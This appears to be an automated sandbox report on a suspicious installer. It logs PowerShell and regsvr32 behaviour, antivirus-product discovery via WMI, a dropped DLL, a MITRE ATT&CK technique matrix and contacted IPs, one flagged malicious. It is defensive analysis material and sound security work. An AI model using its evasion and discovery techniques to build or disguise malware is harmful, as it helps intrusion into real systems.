Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB2AE2E0 GetCurrentProcessId,ProcessPrng,CreateNamedPipeW,GetLastError,CloseHandle,CloseHandle,ReadFileEx,SleepEx,GetLastError,

16_2_00007FFDFB2AE2E0

Source: C:\Windows\System32\regsvr32.exe

16_2_00007FFDFB21DBC0

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB215BE0 memset,RtlGetVersion,

16_2_00007FFDFB215BE0

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: regsvr32.exe, 00000010.00000003.2325195653.0000000003881000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\regsvr32.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 Windows Service	1 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	137 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	213 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 Network Share Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	141 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	213 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Regsvr32	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_setup64.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_shfoldr.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_setup64.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	2%	ReversingLabs
C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)	3%	ReversingLabs
C:\Users\user\AppData\Roaming\is-D8FFC.tmp	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://cacerts.digicert.c	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
the.earth.li	93.93.131.124	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	file.exe, 00000000.00000003.1748510327.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748200530.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000000.1749281885.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DOVSB.tmp.6.dr, file.tmp.5.dr, file.tmp.0.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.1913116591.0000021FA4625000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2049496688.000002149E144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000009.00000002.1881087363.0000021F947D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E2FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000009.00000002.1881087363.0000021F947D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E2FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.msn.com/q	regsvr32.exe, 00000008.00000003.2088977331.0000000003351000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.0000000003881000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	regsvr32.exe, 00000008.00000003.2088977331.0000000003351000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.0000000003881000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.1913116591.0000021FA4625000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2049496688.000002149E144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2266875056.000001C81E4F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.rs/getrandom#nodejs-es-module-support	file.tmp, 00000006.00000003.1789026333.00000000053A0000.00000004.00001000.00020000.00000000.sdmp, regsvr32.exe, regsvr32.exe, 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmp, is-D8FFC.tmp.6.dr	false		high
http://cacerts.digicert.c	regsvr32.exe, 00000008.00000003.1818287850.0000000002934000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2089574907.0000000002945000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2324197266.00000000038C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	regsvr32.exe, 00000008.00000003.2088977331.0000000003351000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.0000000003881000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000009.00000002.1881087363.0000021F945B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E481000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.c	powershell.exe, 00000009.00000002.1921586400.0000021FACAA5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.remobjects.com/ps	file.exe, 00000000.00000003.1748510327.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748200530.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000000.1749281885.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DOVSB.tmp.6.dr, file.tmp.5.dr, file.tmp.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000009.00000002.1881087363.0000021F945B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1964877701.000002148E0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2098231476.000001C80E481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
154.216.19.129	unknown	Seychelles		135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
93.93.131.124	the.earth.li	United Kingdom		44684	MYTHICMythicBeastsLtdGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559884
Start date and time:	2024-11-21 02:57:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
